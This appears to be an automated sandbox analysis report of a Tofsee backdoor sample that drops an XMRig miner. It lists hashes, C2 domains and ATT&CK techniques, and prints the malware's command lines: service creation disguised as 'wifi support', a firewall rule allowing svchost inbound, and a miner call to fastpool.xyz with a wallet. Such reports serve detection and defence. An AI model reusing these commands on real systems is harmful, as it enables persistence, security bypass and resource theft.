Analysis

  • max time kernel
    143s
  • max time network
    150s
  • platform
    windows10_x64
  • resource
    win10-20220414-en
  • submitted
    05-06-2022 20:00

General

  • Target

    bcaa7bb880ce6a2960c8917aa3aa38b621f265a10d2b9a4d1d50778378efceed.exe

  • Size

    265KB

  • MD5

    47d2ce6b706bde1f66d50e135ed808b9

  • SHA1

    13271d7496136f7b2322b97efb24ead418331ea4

  • SHA256

    bcaa7bb880ce6a2960c8917aa3aa38b621f265a10d2b9a4d1d50778378efceed

  • SHA512

    730356a72ddab4d8cd491ae1fd4a0956e630fa1e27ad80dfeb1e1dbde9fc2d0a38ce8eeb8be70500a53ef95ec10d305bb7138d5d9fa8634586307678182fc3b8

Malware Config

Extracted

Family

tofsee

C2

svartalfheim.top

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Windows security bypass 2 TTPs 1 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner Payload 1 IoCs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Deletes itself 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\bcaa7bb880ce6a2960c8917aa3aa38b621f265a10d2b9a4d1d50778378efceed.exe
    "C:\Users\Admin\AppData\Local\Temp\bcaa7bb880ce6a2960c8917aa3aa38b621f265a10d2b9a4d1d50778378efceed.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1840
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\krzcocs\
      2⤵
        PID:4008
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\okfisosd.exe" C:\Windows\SysWOW64\krzcocs\
        2⤵
          PID:4336
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create krzcocs binPath= "C:\Windows\SysWOW64\krzcocs\okfisosd.exe /d\"C:\Users\Admin\AppData\Local\Temp\bcaa7bb880ce6a2960c8917aa3aa38b621f265a10d2b9a4d1d50778378efceed.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:4672
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description krzcocs "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:4604
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start krzcocs
          2⤵
          • Launches sc.exe
          PID:4136
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:5056
      • C:\Windows\SysWOW64\krzcocs\okfisosd.exe
        C:\Windows\SysWOW64\krzcocs\okfisosd.exe /d"C:\Users\Admin\AppData\Local\Temp\bcaa7bb880ce6a2960c8917aa3aa38b621f265a10d2b9a4d1d50778378efceed.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:1008
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Windows security bypass
          • Sets service image path in registry
          • Deletes itself
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:1364
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:2304

      Network

      MITRE ATT&CK Matrix ATT&CK v6

      Persistence

      New Service

      1
      T1050

      Modify Existing Service

      1
      T1031

      Registry Run Keys / Startup Folder

      1
      T1060

      Privilege Escalation

      New Service

      1
      T1050

      Defense Evasion

      Disabling Security Tools

      1
      T1089

      Modify Registry

      2
      T1112

      Discovery

      System Information Discovery

      1
      T1082

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • C:\Users\Admin\AppData\Local\Temp\okfisosd.exe
        Filesize

        14.0MB

        MD5

        8b78889a2d2e1d64d3706bd2858280f9

        SHA1

        e49152e7a000c304cd12f53021ef2aaa2e6c118c

        SHA256

        fae8da8d65597ffc62e9926aabc5e63130745dca5f2bf1edd86da8548c25ee5c

        SHA512

        4e0a3b7821d7d18257a7457ac50bb1687a81470bf9e999c98080fa31abeb1efd34f9cd841d9c738fba1ce04764fec8f441c297237245274fe6e5be349d178418

      • C:\Windows\SysWOW64\krzcocs\okfisosd.exe
        Filesize

        14.0MB

        MD5

        8b78889a2d2e1d64d3706bd2858280f9

        SHA1

        e49152e7a000c304cd12f53021ef2aaa2e6c118c

        SHA256

        fae8da8d65597ffc62e9926aabc5e63130745dca5f2bf1edd86da8548c25ee5c

        SHA512

        4e0a3b7821d7d18257a7457ac50bb1687a81470bf9e999c98080fa31abeb1efd34f9cd841d9c738fba1ce04764fec8f441c297237245274fe6e5be349d178418

      • memory/1008-341-0x0000000000400000-0x0000000002DBA000-memory.dmp
        Filesize

        41.7MB

      • memory/1008-295-0x0000000002EA0000-0x0000000002FEA000-memory.dmp
        Filesize

        1.3MB

      • memory/1364-485-0x00000000001D0000-0x00000000001E5000-memory.dmp
        Filesize

        84KB

      • memory/1364-395-0x00000000001D0000-0x00000000001E5000-memory.dmp
        Filesize

        84KB

      • memory/1364-323-0x00000000001D9A6B-mapping.dmp
      • memory/1840-157-0x0000000077B40000-0x0000000077CCE000-memory.dmp
        Filesize

        1.6MB

      • memory/1840-151-0x0000000077B40000-0x0000000077CCE000-memory.dmp
        Filesize

        1.6MB

      • memory/1840-126-0x0000000077B40000-0x0000000077CCE000-memory.dmp
        Filesize

        1.6MB

      • memory/1840-127-0x0000000077B40000-0x0000000077CCE000-memory.dmp
        Filesize

        1.6MB

      • memory/1840-128-0x0000000077B40000-0x0000000077CCE000-memory.dmp
        Filesize

        1.6MB

      • memory/1840-129-0x0000000077B40000-0x0000000077CCE000-memory.dmp
        Filesize

        1.6MB

      • memory/1840-130-0x0000000077B40000-0x0000000077CCE000-memory.dmp
        Filesize

        1.6MB

      • memory/1840-131-0x0000000077B40000-0x0000000077CCE000-memory.dmp
        Filesize

        1.6MB

      • memory/1840-132-0x0000000077B40000-0x0000000077CCE000-memory.dmp
        Filesize

        1.6MB

      • memory/1840-133-0x0000000077B40000-0x0000000077CCE000-memory.dmp
        Filesize

        1.6MB

      • memory/1840-134-0x0000000077B40000-0x0000000077CCE000-memory.dmp
        Filesize

        1.6MB

      • memory/1840-135-0x0000000077B40000-0x0000000077CCE000-memory.dmp
        Filesize

        1.6MB

      • memory/1840-136-0x0000000077B40000-0x0000000077CCE000-memory.dmp
        Filesize

        1.6MB

      • memory/1840-137-0x0000000077B40000-0x0000000077CCE000-memory.dmp
        Filesize

        1.6MB

      • memory/1840-138-0x0000000077B40000-0x0000000077CCE000-memory.dmp
        Filesize

        1.6MB

      • memory/1840-139-0x0000000002E70000-0x0000000002FBA000-memory.dmp
        Filesize

        1.3MB

      • memory/1840-141-0x0000000002E10000-0x0000000002E23000-memory.dmp
        Filesize

        76KB

      • memory/1840-140-0x0000000077B40000-0x0000000077CCE000-memory.dmp
        Filesize

        1.6MB

      • memory/1840-142-0x0000000077B40000-0x0000000077CCE000-memory.dmp
        Filesize

        1.6MB

      • memory/1840-143-0x0000000077B40000-0x0000000077CCE000-memory.dmp
        Filesize

        1.6MB

      • memory/1840-144-0x0000000077B40000-0x0000000077CCE000-memory.dmp
        Filesize

        1.6MB

      • memory/1840-145-0x0000000077B40000-0x0000000077CCE000-memory.dmp
        Filesize

        1.6MB

      • memory/1840-146-0x0000000077B40000-0x0000000077CCE000-memory.dmp
        Filesize

        1.6MB

      • memory/1840-147-0x0000000077B40000-0x0000000077CCE000-memory.dmp
        Filesize

        1.6MB

      • memory/1840-148-0x0000000077B40000-0x0000000077CCE000-memory.dmp
        Filesize

        1.6MB

      • memory/1840-150-0x0000000077B40000-0x0000000077CCE000-memory.dmp
        Filesize

        1.6MB

      • memory/1840-149-0x0000000077B40000-0x0000000077CCE000-memory.dmp
        Filesize

        1.6MB

      • memory/1840-162-0x0000000077B40000-0x0000000077CCE000-memory.dmp
        Filesize

        1.6MB

      • memory/1840-153-0x0000000077B40000-0x0000000077CCE000-memory.dmp
        Filesize

        1.6MB

      • memory/1840-152-0x0000000077B40000-0x0000000077CCE000-memory.dmp
        Filesize

        1.6MB

      • memory/1840-154-0x0000000077B40000-0x0000000077CCE000-memory.dmp
        Filesize

        1.6MB

      • memory/1840-155-0x0000000077B40000-0x0000000077CCE000-memory.dmp
        Filesize

        1.6MB

      • memory/1840-156-0x0000000077B40000-0x0000000077CCE000-memory.dmp
        Filesize

        1.6MB

      • memory/1840-123-0x0000000077B40000-0x0000000077CCE000-memory.dmp
        Filesize

        1.6MB

      • memory/1840-158-0x0000000000400000-0x0000000002DBA000-memory.dmp
        Filesize

        41.7MB

      • memory/1840-159-0x0000000077B40000-0x0000000077CCE000-memory.dmp
        Filesize

        1.6MB

      • memory/1840-125-0x0000000077B40000-0x0000000077CCE000-memory.dmp
        Filesize

        1.6MB

      • memory/1840-119-0x0000000077B40000-0x0000000077CCE000-memory.dmp
        Filesize

        1.6MB

      • memory/1840-216-0x0000000002E10000-0x0000000002E23000-memory.dmp
        Filesize

        76KB

      • memory/1840-163-0x0000000077B40000-0x0000000077CCE000-memory.dmp
        Filesize

        1.6MB

      • memory/1840-164-0x0000000077B40000-0x0000000077CCE000-memory.dmp
        Filesize

        1.6MB

      • memory/1840-165-0x0000000077B40000-0x0000000077CCE000-memory.dmp
        Filesize

        1.6MB

      • memory/1840-166-0x0000000077B40000-0x0000000077CCE000-memory.dmp
        Filesize

        1.6MB

      • memory/1840-167-0x0000000077B40000-0x0000000077CCE000-memory.dmp
        Filesize

        1.6MB

      • memory/1840-117-0x0000000077B40000-0x0000000077CCE000-memory.dmp
        Filesize

        1.6MB

      • memory/1840-118-0x0000000077B40000-0x0000000077CCE000-memory.dmp
        Filesize

        1.6MB

      • memory/1840-161-0x0000000077B40000-0x0000000077CCE000-memory.dmp
        Filesize

        1.6MB

      • memory/1840-120-0x0000000077B40000-0x0000000077CCE000-memory.dmp
        Filesize

        1.6MB

      • memory/1840-160-0x0000000077B40000-0x0000000077CCE000-memory.dmp
        Filesize

        1.6MB

      • memory/1840-121-0x0000000077B40000-0x0000000077CCE000-memory.dmp
        Filesize

        1.6MB

      • memory/1840-122-0x0000000077B40000-0x0000000077CCE000-memory.dmp
        Filesize

        1.6MB

      • memory/1840-227-0x0000000000400000-0x0000000002DBA000-memory.dmp
        Filesize

        41.7MB

      • memory/2304-520-0x000000000049259C-mapping.dmp
      • memory/4008-172-0x0000000077B40000-0x0000000077CCE000-memory.dmp
        Filesize

        1.6MB

      • memory/4008-169-0x0000000077B40000-0x0000000077CCE000-memory.dmp
        Filesize

        1.6MB

      • memory/4008-168-0x0000000000000000-mapping.dmp
      • memory/4008-170-0x0000000077B40000-0x0000000077CCE000-memory.dmp
        Filesize

        1.6MB

      • memory/4008-171-0x0000000077B40000-0x0000000077CCE000-memory.dmp
        Filesize

        1.6MB

      • memory/4008-174-0x0000000077B40000-0x0000000077CCE000-memory.dmp
        Filesize

        1.6MB

      • memory/4136-194-0x0000000000000000-mapping.dmp
      • memory/4336-173-0x0000000000000000-mapping.dmp
      • memory/4336-176-0x0000000077B40000-0x0000000077CCE000-memory.dmp
        Filesize

        1.6MB

      • memory/4336-179-0x0000000077B40000-0x0000000077CCE000-memory.dmp
        Filesize

        1.6MB

      • memory/4336-178-0x0000000077B40000-0x0000000077CCE000-memory.dmp
        Filesize

        1.6MB

      • memory/4336-177-0x0000000077B40000-0x0000000077CCE000-memory.dmp
        Filesize

        1.6MB

      • memory/4336-175-0x0000000077B40000-0x0000000077CCE000-memory.dmp
        Filesize

        1.6MB

      • memory/4604-189-0x0000000077B40000-0x0000000077CCE000-memory.dmp
        Filesize

        1.6MB

      • memory/4604-188-0x0000000077B40000-0x0000000077CCE000-memory.dmp
        Filesize

        1.6MB

      • memory/4604-187-0x0000000077B40000-0x0000000077CCE000-memory.dmp
        Filesize

        1.6MB

      • memory/4604-186-0x0000000000000000-mapping.dmp
      • memory/4672-185-0x0000000077B40000-0x0000000077CCE000-memory.dmp
        Filesize

        1.6MB

      • memory/4672-183-0x0000000077B40000-0x0000000077CCE000-memory.dmp
        Filesize

        1.6MB

      • memory/4672-181-0x0000000000000000-mapping.dmp
      • memory/4672-182-0x0000000077B40000-0x0000000077CCE000-memory.dmp
        Filesize

        1.6MB

      • memory/4672-184-0x0000000077B40000-0x0000000077CCE000-memory.dmp
        Filesize

        1.6MB

      • memory/5056-211-0x0000000000000000-mapping.dmp